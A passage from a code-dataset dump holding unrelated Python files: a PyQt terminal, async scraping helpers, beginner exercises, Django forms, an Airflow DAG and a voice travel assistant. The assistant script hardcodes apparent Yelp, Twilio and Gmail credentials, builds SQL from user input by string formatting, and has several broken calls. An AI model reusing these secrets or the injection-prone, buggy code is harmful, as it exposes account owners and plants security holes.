QVBoxLayout(self)\n\t\tlayout.setContentsMargins(0, 0, 0, 0)\n\t\tlayout.addWidget(self.terminal)\n\n\t\tself.process = QProcess(self)\n\t\tself.process.start(\n\t\t\t\t'xterm',['-into', str(self.terminal.winId())])\n\t\t# Works also with urxvt:\n#\t\t\t\t'urxvt',['-embed', str(self.terminal.winId())])\n\nif __name__ == \"__main__\":\n\tapp = QApplication(sys.argv)\n\tmain = terminal()\n\tmain.show()\n\tsys.exit(app.exec_())\n","sub_path":"python/pyqt/pyqt_terminal.py","file_name":"pyqt_terminal.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"652355002","text":"import asyncio\nimport aiohttp\n#import logging\nfrom pymongo import MongoClient\n#logging.basicConfig(filename='helper_log.txt', filemode='w', level=logging.DEBUG)\nimport multiprocessing\n\nasync def get_page(href='',proxy=None,redo=0,request_type='GET'):\n async with aiohttp.ClientSession() as client:\n #logging.info('Hitting API Url : {0}'.format(href))\n response = await client.request('{}'.format(request_type), href, proxy=proxy)\n #logging.info('Status for {} : {}'.format(href,response.status))\n if response.status!= 200 and redo < 10:\n redo = redo + 1\n #logging.warning(\"Response Code:\" + str(response.status) +\"received\")\n return await get_page(href=href,proxy=None, redo=redo)\n else:\n return await response.text()\n\ndef get_meta_q(db_name, coll_name):\n client = MongoClient()\n harvests_db = client[db_name]\n meta1_coll = harvests_db[coll_name]\n meta1_queue = multiprocessing.Manager().Queue()\n res = meta1_coll.find({})\n for i in list(res):\n meta1_queue.put(i)\n return meta1_queue\n\nasync def make_tasks_and_exc(meta1_queue, process_queue_size, div_factor, func):\n search_queue = asyncio.Queue()\n for i in range(process_queue_size):\n if(not meta1_queue.empty()):\n await search_queue.put(meta1_queue.get())\n print(search_queue.qsize())\n logging.info(f'Initiated async queues of {process_queue_size}')\n logging.info(f'Worker async queue size:{search_queue.qsize()}')\n #print(search_queue.qsize())\n tasks = []\n times = search_queue.qsize() // div_factor + 1\n for _ in range(times + 1):\n await asyncio.sleep(0.2)\n logging.info(f'Initiating {times} batch tasks')\n for i in range(times):\n task = asyncio.Task(func(search_queue))\n tasks.append(task)\n await asyncio.gather(*tasks)","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"480032309","text":"#ex12\n\ndef crowd_test(people):\n if len(people) > 5:\n print(\"There being a mob in the room\")\n elif len(people) >= 3 and len(people) <= 5:\n print(\"The room is being crowded\")\n elif len(people) == 1 or len(people) == 2:\n print(\"The room is not being crowded\")\n else:\n print(\"The room is being empty\")\n\n\nname = [\"stefania\", \"matteo\", \"michele\", \"viola\", \"maria\", \"stefano\"]\ncrowd_test(name)\n\ndel name[-1]\ndel name[-1]\n\ncrowd_test(name)\n","sub_path":"ex12.py","file_name":"ex12.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"513580522","text":"import pyttsx3\nimport requests\nimport json\nimport os\nimport sys\nimport time\nimport datetime\nimport smtplib\nimport ssl\nimport sqlite3\nfrom twilio.rest import Client\nfrom yelp.queries import search_query\nimport json\n\ndef get_query_variables(engine):\n engine.say('What is your current location?')\n engine.runAndWait()\n location = input('What is your current location(address, city)? ')\n engine.say('How many results do you want?')\n engine.runAndWait()\n amount = input('How many results do you want? ')\n engine.say('Would you like to see only cheap results?')\n engine.runAndWait()\n cheap = input('Would you like to see only cheap results? ')\n\n if cheap.lower() == 'yes':\n cheap_results = True\n else:\n cheap_results = False\n\n return location, int(amount), cheap_results\n\ndef search(engine, choice, c, conn):\n api_key = 'iCkiw4en2tSbbxzHRJQiMra8x3p47h_1AEkPx5r6gdDEYxxjPDa6rvXOT0xL2BTN8qLTIH34_O-rJZRSiO63DAdvEvD9UBtyGaczIBqOF4K4F0UCc6-Qg561byeFX3Yx'\n\n header = {\n 'Authorization': f'bearer {api_key}',\n 'Content-Type': \"application/json\"\n }\n url = 'https://api.yelp.com/v3/graphql'\n location, amount, cheap_results = get_query_variables(engine)\n\n variables = {\n 'term': choice,\n 'location': location,\n 'amount': amount,\n 'price': \"1,2,3,4\",\n 'rating': \"1,2,3,4,5\",\n 'hours': \"\"\n }\n if cheap_results:\n variables['price'] = \"1\"\n search = {\n 'query': search_query,\n 'variables': variables\n }\n response = requests.post(url, json=search, headers=header)\n businesses = response.json()['data']['search']['business']\n\n results = json.dumps(businesses, indent=2)\n print(results)\n\n with open('results.json', 'w') as file:\n engine.say(f'Writing to {file.name}')\n engine.runAndWait()\n file.write(results)\n engine.say(\"Would you like to be email or texted updates on this?\")\n engine.runAndWait()\n c.execute('''INSERT INTO %s (Client_Name, Location, Name, Price, Rating) VALUES (%s, %w)'''%(choice, user, location, name, Price, Rating))\n conn.commit()\n email = input(\"Would you like to be email or texted updates on this? \")\n if email.lower() == \"email\":\n send = results\n subject1 = \"Kaia report on Flight time\"\n emailSend(send, engine, subject1, c, conn)\n elif email.lower() == \"text\":\n send = results\n text(engine, user, send, c, conn)\n else:\n print(\"Thank you\")\n\ndef text(engine, user, send, c, conn):\n # Your Account SID from twilio.com/console\n account_sid = 'ACea4b3bbf0e980bf3f436886e8ab16273'\n # Your Auth Token from twilio.com/console\n auth_token = 'd9c6d9b3c35b6c95397cc5adbe5cd6c9'\n Phone_Text = input(\"Please enter your phone number to text: \")\n engine.say(\"Please enter your phone number to text: \")\n client = Client(account_sid, auth_token)\n message = client.messages.create(\n to=\"+1\" + Phone_Text,\n from_=\"+17029963546\",\n body=\"Hello \" + user + \",\\n\" + send)\n c.execute('''INSERT INTO CLIENTS (Client_Name, Phone) VALUES (%s, %w)'''%(user, Phone_Text))\n conn.commit()\n\ndef nightlife(engine, ploc, c, conn):\n api_key = os.getenv('iCkiw4en2tSbbxzHRJQiMra8x3p47h_1AEkPx5r6gdDEYxxjPDa6rvXOT0xL2BTN8qLTIH34_O-rJZRSiO63DAdvEvD9UBtyGaczIBqOF4K4F0UCc6-Qg561byeFX3Yx')\n\n header = {\n 'Authorization': f'bearer {api_key}',\n 'Content-Type': \"application/json\"\n }\n url = 'https://api.yelp.com/v3/graphql'\n location, amount, cheap_results = get_query_variables(engine)\n\n variables = {\n 'term': \"events\",\n 'location': location,\n 'amount': amount,\n 'price': \"1,2,3,4\",\n 'rating': \"1,2,3,4,5\",\n 'hours': hours\n }\n if cheap_results:\n variables['price'] = \"1\"\n search = {\n 'query': search_query,\n 'variables': variables\n }\n response = requests.post(url, json=search, headers=header)\n businesses = response.json()['data']['search']['business']\n\n results = json.dumps(businesses, indent=2)\n print(results)\n\n with open('results.json', 'w') as file:\n engine.say(f'Writing to {file.name}')\n engine.runAndWait()\n file.write(results)\n engine.say(\"Would you like to be email or texted updates on this?\")\n engine.runAndWait()\n email = input(\"Would you like to be email or texted updates on this? \")\n if email.lower() == \"email\":\n send = f'Your flight is in {difference} moments to {location}'\n subject1 = \"Kaia report on Flight time\"\n emailSend(send, engine, subject1)\n elif email.lower() == \"texted\":\n send = f'Your flight is in {difference} moments to {location}'\n text(engine, user, send)\n else:\n print(\"Thank you\")\n\n\ndef location(engine):\n URL = \"https://geocode.search.hereapi.com/v1/geocode\"\n location = input(\"What is your current location(address, city)? \") # taking user input\n engine.say(\"What is your current location(address, city)?\")\n api_key = os.getenv('HMAroqS9GA6WZo1y67NBFGvX_LcB9JdUJs3MuVyWc4U') # Acquire from developer.here.com\n PARAMS = {'apikey': api_key, 'q': location}\n # sending get request and saving the response as response object\n r = requests.get(url=URL, params=PARAMS)\n data = r.json()\n latitude = data['items'][0]['position']['lat']\n longitude = data['items'][0]['position']['lng']\n print(f'{str(longitude)}, {str(latitude)}')\n ploc = str(longitude) + \",\" + str(latitude)\n return ploc\n\ndef emailSend(send, subject1, engine, c, conn):\n port = 587 # For starttls\n smtp_server = \"smtp.gmail.com\"\n password = 'itkdwagifslfdxma'\n kaia_email = 'kaiaassistant39@gmail.com'\n sender_email = input(\"Please enter your email: \")\n Text = send\n Subject = str(subject1)\n message = f'Subject: {Subject}\\n\\n{Text}'\n context = ssl.create_default_context()\n with smtplib.SMTP(smtp_server, port) as server:\n server.ehlo() # Can be omitted\n server.starttls(context=context)\n server.ehlo() # Can be omitted\n server.login(kaia_email, password)\n server.sendmail(kaia_email, sender_email, message)\n #engine.say(str(\"An email has been sent out please wait about 5 minutes for it to show in your inbox.\"))\n c.execute('''INSERT INTO CLIENTS (Client_Name, Email) VALUES (%s, %s)'''%(user, str(sender_email)))\n conn.commit()\n\n\ndef timer(engine, user, c, conn):\n engine.say('What date is your flight: ')\n engine.runAndWait()\n flight = input(\"What date is your flight: \")\n engine.say(\"what time is your flight: \")\n engine.runAndWait()\n time = input(\"what time is your flight: \")\n engine.say(\"Where are you heading to? \")\n location = input(\"Where are you heading to? \")\n month = flight.split(\"/\")[0]\n day = flight.split(\"/\")[1]\n year = flight.split(\"/\")[2]\n hour = time.split(\":\")[0]\n minute = time.split(\":\")[1]\n present = datetime.datetime.now()\n future = datetime.datetime(int(year), int(\n month), int(day), int(hour), int(minute), 00)\n difference = future - present\n print(difference)\n engine.say(f'Your flight is in {difference} moments to {location}')\n engine.runAndWait()\n engine.say(\"Would you like to be email or texted updates on this?\")\n engine.runAndWait()\n email = input(\"Would you like to be email or texted updates on this? \")\n if email.lower() == \"email\":\n send = f'Your flight is in {difference} moments to {location}'\n subject1 = \"Kaia report on Flight time\"\n emailSend(send, engine, subject1, c)\n elif email.lower() == \"text\":\n send = f'Your flight is in {difference} moments to {location}'\n text(engine, user, send, c)\n else:\n print(\"Thank you\")\n\ndef google():\n # enter your api key here\n api_key = 'Your_API_key'\n # url variable store url\n url = \"https://maps.googleapis.com/maps/api/place/textsearch/json?\"\n # The text string on which to search\n query = input('Search query: ')\n # get method of requests module\n # return response object\n r = requests.get(f'{url}query={query}&key={api_key}')\n # json method of response object convert\n # json format data into python format data\n x = r.json()\n # now x contains list of nested dictionaries\n # we know dictionary contain key value pair\n # store the value of result key in variable y\n y = x['results']\n # keep looping upto length of y\n for i in range(len(y)):\n # Print value corresponding to the\n # 'name' key at the ith index of y\n print(y[i]['name'])\n\nconn = sqlite3.connect('Kaia_brain.db')\nc = conn.cursor()\nuser = input(\"Hello what is your name: \")\nlanguage = input(\"What is your preferred language: \")\nif language.lower() == \"spanish\":\n voice_name = u'Juan'\n voice_language = u'es_MX'\nelif language.lower() == \"japanese\":\n voice_name = u'Kyoko'\n voice_language = u'ja_JP'\nelif language.lower() == \"chinese\":\n voice_name = u'Zuzana'\n voice_language = u'cs_CZ'\nelif language.lower() == \"indian\":\n voice_name = u'Lekha'\n voice_language = u'hi_IN'\nelse:\n voice_name = u'Samantha'\n voice_language = u'en_US'\nengine = pyttsx3.init()\nvoices = engine.getProperty('voices')\nfor voice in voices:\n if voice.name == voice_name and voice.languages[0] == voice_language:\n engine.setProperty('voice', voice.id)\n break\nengine.runAndWait()\nengine.say(f'Hello {user}')\nengine.runAndWait()\nengine.say('How can I help you today?')\nengine.runAndWait()\n#location(engine)\nengine.say(\n \"Please pick one of the following choices: Flight, Hotel, Restaurant, or Bar\")\nengine.runAndWait()\nchoice = input(\n \"Please pick one of the following choices: \\n* Flight \\n* Hotel \\n* Restaurant \\n* Bar \\n* Night life \\n\")\nif choice.lower() == 'flight':\n timer(engine, user, c, conn)\nelif choice.lower() == 'hotel':\n search(engine, choice, c, conn)\nelif choice.lower() == 'bar':\n search(engine, choice, c, conn)\nelif choice.lower() == 'restaurant':\n search(engine, choice, c, conn)\nelse:\n nightlife(engine, c, conn)","sub_path":"Kaia.py","file_name":"Kaia.py","file_ext":"py","file_size_in_byte":10123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"227870593","text":"def contar_vocales(cadena):\r\n\tcadena=cadena.lower()\r\n\tvocales=\"aeiou\"\r\n\t\r\n\tfor x in vocales:\r\n\t\tcontador=0\r\n\t\tfor i in cadena:\r\n\t\t\tif i==x:\r\n\t\t\t\tcontador+=1\r\n\t\tprint(\"Hay \",contador, \" vocales \",x)\r\n\t\t\t\t\r\na=(\"HOLA pao\")\r\ncontar_vocales(a)\t\t\r\n","sub_path":"Ejercicio_9.py","file_name":"Ejercicio_9.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"157571699","text":"import os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef deal_with_pensieve(fname):\n state = []\n action = []\n nxstate = []\n reward = []\n notdone = []\n with open(os.path.join(base_dir, fname), 'r') as fin:\n for row in fin:\n if len(row) < 10:\n continue\n tmp = row.split('|')\n # print(tmp)\n\n sep = ',' if ',' in tmp[0] else ' '\n state.append(np.fromstring(tmp[0][1:-2], dtype=np.float, sep=sep))\n\n sep = ',' if ',' in tmp[1] else ' '\n action.append(np.fromstring(tmp[1][1:-2], dtype=np.float, sep=sep))\n action[-1] = np.argmax(action[-1])\n\n sep = ',' if ',' in tmp[2] else ' '\n nxstate.append(np.fromstring(tmp[2].replace('[', '').replace(']', '').strip(), dtype=np.float, sep=sep))\n reward.append(float(tmp[3]))\n notdone.append(1 - (0 if 'False' in tmp[4] else 1))\n\n return state, action, reward, nxstate, notdone\n\n# base_dir = '/home/eric/Dropbox/Projects-Research/0-DRL-Imitation/Pensieve_Tokyo_MPC_BOLA_320s'\n# base_dir = '/home/cst/wk/Pensieve/data/results_0'\n# base_dir = '/home/cst/wk/Pensieve/data/results_loss50'\n# base_dir = '/home/cst/wk/Pensieve/pensieve/run_exp/results'\nbase_dir = '/home/cst/wk/Pensieve/data/results_304mbps_20200801'\n# base_dir = '/home/cst/wk/Pensieve/data/results_7772mbps_20200802'\n\nresults = {\n 'BOLA': [],\n 'fastMPC': [],\n 'robustMPC': [],\n 'Our': [],\n 'RL': []\n}\n\ndatas = {\n 'BOLA': [],\n 'fastMPC': [],\n 'robustMPC': [],\n 'Our': [],\n 'RL': []\n}\n\nfor fname in os.listdir(base_dir):\n if 'log' not in fname:\n continue\n\n if fname.find('3.04mbps-poisson') < 0:\n continue\n\n # if fname.find('77.72mbps') < 0:\n # continue\n\n algo_name = fname.split('_')[1]\n\n state, action, reward, nxstate, notdone = deal_with_pensieve(fname)\n results[algo_name].append(np.mean(reward))\n # results[algo_name] = np.mean(reward)\n datas[algo_name] = reward\n\n# print(f'reward {results}')\n\nprint('\\n'.join(\"{}: {}\".format(k, len(v)) for k, v in results.items()))\nprint('\\n'.join(\"{}: {}\".format(k, v) for k, v in results.items()))\n\nalg = 'robustMPC'\n\nreward = datas[alg]\n# print(action)\nplt.title(alg)\nplt.plot(reward)\nplt.show()","sub_path":"real_exp/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"72021212","text":"# -*- coding: utf-8 -*-\nimport uuid\nfrom django import forms\nfrom django.contrib.auth.models import User\nfrom django.forms import CheckboxSelectMultiple\nfrom django.db import connection\nfrom urlparse import urlparse\nfrom monitoringengine_ui.authorisation.models import VerificationKey\n\ncursor = connection.cursor()\n\n\nsubdomain_include_choices = (('strict_domain', u'Точный адрес'),\n ('only_subdomains', u'Только поддомены'),\n ('domain_with_subdomains', u'Адрес и поддомены'))\n\n\nclass SiteAddForm(forms.Form):\n hostname = forms.URLField(label=u\"Хост сайта\", max_length=255)\n\n def clean_hostname(self):\n url = self.cleaned_data.get(\"hostname\")\n hostname = urlparse(url).hostname\n if not hostname:\n raise forms.ValidationError(u\"Неверное имя хоста\")\n else:\n return hostname.encode(\"idna\")\n\n\nclass ChangeWebsiteNoteForm(forms.Form):\n note = forms.CharField(label=u\"Примечание\", max_length=255, required=False,\n widget=forms.TextInput(attrs={'class': \"form-control\"}))\n\n\n#TODO: убрать\nclass AddUserForm(forms.ModelForm):\n type = forms.ChoiceField(label=u\"Роль\",\n choices=(\n (\"owner\", u\"Владелец\"),\n (\"manager\", u\"Менеджер\"),\n (\"client\", u\"Клиент\"),\n ))\n\n class Meta:\n model = User\n fields = (\"email\",)\n\n def clean_email(self):\n email = self.cleaned_data.get(\"email\")\n if User.objects.filter(profile__email_verified=True, email=email, is_active=True).exists():\n raise forms.ValidationError(u\"Такой e-mail уже зарегистрирован\")\n return email\n\n def clean(self):\n return self.cleaned_data\n\n def save(self, commit=True):\n user = super(AddUserForm, self).save(commit=False)\n username = unicode(uuid.uuid4())\n username = username.replace('-', '')[:30]\n user.username = username\n temp_password = User.objects.make_random_password()\n user.set_password(temp_password)\n user.save()\n verification_key_object = VerificationKey.objects.create_key(user)\n verification_key_object.send_email_verification(password=temp_password)\n return user\n\n\nclass SubdomainIncludeChoiceForm(forms.Form):\n subdomain_include = forms.ChoiceField(choices=subdomain_include_choices, initial=\"domain_with_subdomains\")\n\n\nclass AddQueryForm(forms.Form):\n querystring = forms.CharField(label=u\"Поисковый запрос\")\n subdomain_include = forms.ChoiceField(label=u\"Поддомены для сайта\", choices=subdomain_include_choices,\n initial=\"domain_with_subdomains\")\n search_engines = forms.MultipleChoiceField(\n label=u\"Поисковая система\", choices=((\"yandex\", u\"Яндекс\"),),\n widget=CheckboxSelectMultiple,\n )\n\n\nclass AddSubscriptionForm(forms.Form):\n querystring = forms.CharField(label=u\"\")\n subdomain_include = forms.ChoiceField(label=u\"Поддомены для сайта\", choices=subdomain_include_choices,\n initial=\"domain_with_subdomains\")\n search_depth = forms.IntegerField(label=u\"Глубина поиска\")\n cursor.execute(\"\"\"SELECT id, name FROM yandex_regions\"\"\")\n regions = forms.MultipleChoiceField(\n label=u\"Регионы Яндекса\",\n choices=[[region[0], region[1]] for region in cursor.fetchall()],\n widget=CheckboxSelectMultiple)\n\n\nclass AddYandexQueryForm(forms.Form):\n cursor.execute(\"\"\"SELECT id, name FROM yandex_regions\"\"\")\n regions = forms.MultipleChoiceField(\n label=u\"Регионы Яндекса\",\n choices=[[region[0], region[1]] for region in cursor.fetchall()],\n widget=CheckboxSelectMultiple)\n\n\nclass WebsiteSearchResultsForm(forms.Form):\n date_since = forms.DateField(label=u\"Начало временного диапазона\")\n date_until = forms.DateField(label=u\"Конец временного диапазона\")\n region = forms.ChoiceField(label=u'Регион поиска',)\n search_engine = forms.ChoiceField(\n label=u\"Поисковая система\", choices=((\"yandex\", u\"Яндекс\"),))\n subdomain_include = forms.ChoiceField(label=u\"Адрес сайта\", choices=subdomain_include_choices,\n initial=\"domain_with_subdomains\")\n\n def __init__(self, regions, subdomain_include=None, *args, **kwargs):\n self.base_fields[\"region\"].choices = enumerate(regions)\n if subdomain_include is not None:\n subdomain_include_choices_dict = dict(subdomain_include_choices)\n self.base_fields[\"subdomain_include\"].choices = [\n (el, subdomain_include_choices_dict[el]) for el in subdomain_include]\n if self.base_fields[\"subdomain_include\"].choices:\n self.base_fields[\"subdomain_include\"].initial = self.base_fields[\"subdomain_include\"].choices[0][0]\n super(WebsiteSearchResultsForm, self).__init__(*args, **kwargs)\n","sub_path":"django/monitoringengine_ui/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"440738952","text":"\"\"\"\nCode that goes along with the Airflow located at:\nhttp://airflow.readthedocs.org/en/latest/tutorial.html\n\"\"\"\nimport os\nfrom airflow import DAG\nfrom airflow.operators.bash_operator import BashOperator\nfrom datetime import datetime, timedelta\n\nBASE_TASK_PATH = os.environ['BASE_TASK_PATH']\n\ndefault_args = {\n 'owner': 'airflow',\n 'depends_on_past': False,\n 'start_date': datetime(2015, 6, 1),\n 'email': ['airflow@airflow.com'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=5),\n # 'queue': 'bash_queue',\n # 'pool': 'backfill',\n # 'priority_weight': 10,\n # 'end_date': datetime(2016, 1, 1),\n}\n\ndag = DAG(\n 'test', default_args=default_args, schedule_interval=timedelta(1))\n\ntest1_template = 'python ' + BASE_TASK_PATH + '/test1.py'\n\ntest1 = BashOperator(\n task_id='test1',\n bash_command=test1_template,\n dag=dag)\n","sub_path":"dags/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"503714822","text":"import sys\n\ndef merge_sort(array):\n if len(array) > 1:\n middle = len(array) // 2\n left = merge_sort(array[:middle])\n right = merge_sort(array[middle:])\n\n i, j, k = 0, 0, 0\n while i < len(left) and j < len(right):\n if left[i] > right[j]:\n array[k] = right[j]\n j += 1\n else:\n array[k] = left[i]\n i += 1\n k += 1\n\n while j < len(right):\n array[k] = right[j]\n j += 1\n k += 1\n\n while i < len(left):\n array[k] = left[i]\n i += 1\n k += 1\n\n return array\n\n else:\n return array\n\ndef main():\n if not sys.argv[1:]:\n print(\".\\\\merged.py [array]\")\n print(sys.argv)\n else:\n array = list(map(int, sys.argv[1:]))\n merged = merge_sort(array)\n print(\"Sorted list:\", \" \".join(map(str, merged)))\n\nmain()\n","sub_path":"merged.py","file_name":"merged.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"582242307","text":"from Exerc_115.lib.interface import *\nfrom time import sleep\nfrom Exerc_115.lib.arquivo import *\n\narq = 'nome.txt'\n\nif not arquivoExiste(arq):\n arquivo_criar(arq)\n\nwhile True:\n resposta = menu(['Ver pessoas cadastradas','Cadastrar nova Pessoa','Sair do Sistema'])\n if resposta == 1:\n #opção de listar o conteúdo de um arquivo!\n arquivoler(arq)\n elif resposta == 2:\n cabecalho('NOVO CADASTRO')\n nome = str(input('Nome: '))\n idade = leiaInt('Idade: ')\n cadastrar(arq,nome,idade)\n elif resposta == 3:\n sleep(1)\n print('Saindo do Sistema... Até logo.')\n break\n else:\n print('\\33[0;31mERRO! Digite uma opção válida!\\033[m')\n sleep(2)","sub_path":"Exerc_115/Sistema.py","file_name":"Sistema.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"153796352","text":"import os\n#declarar variables\ncliente,numero_de_empanadas,precio_de_empanada=\"\",0.0,0.0\nverificador= False\n\n#input\ncliente=os.sys.argv[1]\nnumero_de_empanadas=int(os.sys.argv[2])\nprecio_de_empanada=float(os.sys.argv[3])\n\n#processing\ncosto_empanada=(numero_de_empanadas*precio_de_empanada)\nverificador=(costo_empanada>40)\n\nif(costo_empanada>40):\n print(\"nuestra panaderia agredece su compra\")\n","sub_path":"condicionalsimple/ejercicio5.py","file_name":"ejercicio5.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"590507558","text":"import numpy as np\nfrom typing import List, Tuple\n\nfrom .SVD import SVD\n\n\nclass RotationTranslationXY(SVD):\n \"\"\"Calculates affine using singular value decomposition,\n constrained to rotation and translation in XY(no scale or shear),\n and only translation in Z\"\"\"\n\n ndims: int = 2\n\n def get_matrix(\n self,\n R: List[List[float]],\n T: List[List[float]],\n weighted_absolutes: Tuple[List[float], List[float], List[float]],\n weighted_ordinates: Tuple[List[float], List[float], List[float]],\n ) -> np.array:\n return [\n [R[0, 0], R[0, 1], 0.0, T[0]],\n [R[1, 0], R[1, 1], 0.0, T[1]],\n [\n 0.0,\n 0.0,\n 1.0,\n np.array(weighted_absolutes[self.ndims])\n - np.array(weighted_ordinates[self.ndims]),\n ],\n [0.0, 0.0, 0.0, 1.0],\n ]\n\n def get_rotation_matrix(\n self, U: List[List[float]], Vh: List[List[float]]\n ) -> List[List[float]]:\n return np.dot(Vh.T, np.dot(np.diag([1, np.linalg.det(np.dot(Vh.T, U.T))]), U.T))\n","sub_path":"geomagio/adjusted/transform/RotationTranslationXY.py","file_name":"RotationTranslationXY.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"514775795","text":"# Copyright 2015 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Code that's shared between multiple networks subcommands.\"\"\"\n\n\ndef GetSubnetMode(network):\n \"\"\"Returns the subnet mode of the input network.\"\"\"\n if getattr(network, 'IPv4Range', None) is not None:\n return 'LEGACY'\n elif getattr(network, 'autoCreateSubnetworks', False):\n return 'AUTO'\n else:\n return 'CUSTOM'\n\n\ndef GetBgpRoutingMode(network):\n \"\"\"Returns the BGP routing mode of the input network.\"\"\"\n if getattr(network, 'routingConfig', None) is not None:\n return network.routingConfig.routingMode\n else:\n return None\n\n\ndef _GetNetworkMode(network):\n \"\"\"Takes a network resource and returns the \"mode\" of the network.\"\"\"\n if network.get('IPv4Range', None) is not None:\n return 'legacy'\n if network.get('autoCreateSubnetworks', False):\n return 'auto'\n else:\n return 'custom'\n\n\ndef AddMode(items):\n for resource in items:\n resource['x_gcloud_mode'] = _GetNetworkMode(resource)\n yield resource\n\n\ndef CreateNetworkResourceFromArgs(messages, network_ref, network_args):\n \"\"\"Creates a new network resource from flag arguments.\"\"\"\n\n network = messages.Network(\n name=network_ref.Name(),\n description=network_args.description)\n\n if network_args.subnet_mode == 'LEGACY':\n network.IPv4Range = network_args.range\n else:\n network.autoCreateSubnetworks = (network_args.subnet_mode == 'AUTO')\n\n if network_args.bgp_routing_mode:\n network.routingConfig = messages.NetworkRoutingConfig()\n network.routingConfig.routingMode = (messages.NetworkRoutingConfig.\n RoutingModeValueValuesEnum(\n network_args.bgp_routing_mode))\n\n return network\n","sub_path":"google-cloud-sdk/lib/googlecloudsdk/api_lib/compute/networks_utils.py","file_name":"networks_utils.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"239627051","text":"import os\nimport pandas as pd\nimport numpy as np\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\nimport datetime\nfrom pathlib import Path\n\ntry:\n print(pyplot_for_latex)\nexcept NameError:\n pyplot_for_latex = False\n\nif pyplot_for_latex:\n mpl.rcParams.update({\n \"text.usetex\": True,\n \"text.latex.unicode\": True,\n \"text.latex.preamble\": [\n r\"\\usepackage[T1]{fontenc}\",\n r\"\\usepackage{amsmath}\",\n r\"\\usepackage{upgreek}\",\n r\"\\DeclareMathAlphabet{\\mathup}{OT1}{\\familydefault}{m}{n}\",\n r\"\\newcommand{\\sub}[1]{\\ensuremath{_{\\mathup{#1}}}}\",\n r\"\\newcommand{\\unit}[1]{\\ensuremath{\\,\\mathup{#1}}}\",\n ],\n \"font.family\": \"serif\",\n \"font.serif\": \"Computer Modern Roma\",\n \"axes.labelsize\": 9,\n \"font.size\": 9,\n \"legend.fontsize\": 8,\n \"xtick.labelsize\": 8,\n \"xtick.direction\": 'in',\n \"ytick.labelsize\": 8,\n \"ytick.direction\": 'in',\n \"legend.frameon\": False,\n \"xtick.bottom\": True,\n \"xtick.top\": True,\n \"ytick.left\": True,\n \"ytick.right\": True,\n \"savefig.dpi\": 500,\n })\n\nmpl.rcParams.update({\n \"text.usetex\": True,\n \"font.family\": \"serif\",\n \"font.serif\": \"Computer Modern Roma\",\n \"text.latex.preamble\": [\n r\"\\usepackage{upgreek}\",\n ],\n \"axes.labelsize\": 9,\n \"font.size\": 9,\n \"legend.fontsize\": 8,\n \"xtick.labelsize\": 8,\n \"ytick.labelsize\": 8,\n \"legend.frameon\": False,\n \"savefig.dpi\": 500,\n})\n\nclass cd:\n \"\"\"Context manager for changing the current working directory\"\"\"\n\n def __init__(self, newPath):\n self.newPath = os.path.expanduser(newPath)\n\n def __enter__(self):\n self.savedPath = os.getcwd()\n os.chdir(self.newPath)\n\n def __exit__(self, etype, value, traceback):\n os.chdir(self.savedPath)\n\n\ndef figsize(scalewidth=0.9, ratio=((np.sqrt(5.0) - 1.0) / 2.0)):\n # Get this from LaTeX using \\the\\textwidth\n fig_width_pt = 418.25368 # obtain from latex by \\the\\textwidth\n in_per_pt = 1.0 / 72.27 # Convert pt to inch\n fig_width = fig_width_pt * in_per_pt * scalewidth # width in inches\n fig_height = fig_width * ratio # height in inches\n return [fig_width, fig_height]","sub_path":"python_tools/fnatools/default_preamble.py","file_name":"default_preamble.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"81213937","text":"#!/usr/bin/env python3\n\nfrom __future__ import print_function\n\nimport argparse\nimport collections\nimport difflib\nimport os\nimport subprocess\nimport sys\nimport unittest\n\nimport targets\n\ntry:\n from tempfile import TemporaryDirectory\nexcept ImportError:\n import shutil\n import tempfile\n\n class TemporaryDirectory(object):\n def __init__(self, suffix='', prefix='tmp', dir=None):\n self.name = tempfile.mkdtemp(suffix, prefix, dir)\n\n def __del__(self):\n self.cleanup()\n\n def __enter__(self):\n return self.name\n\n def __exit__(self, exc, value, tb):\n self.cleanup()\n\n def cleanup(self):\n if self.name:\n shutil.rmtree(self.name)\n self.name = 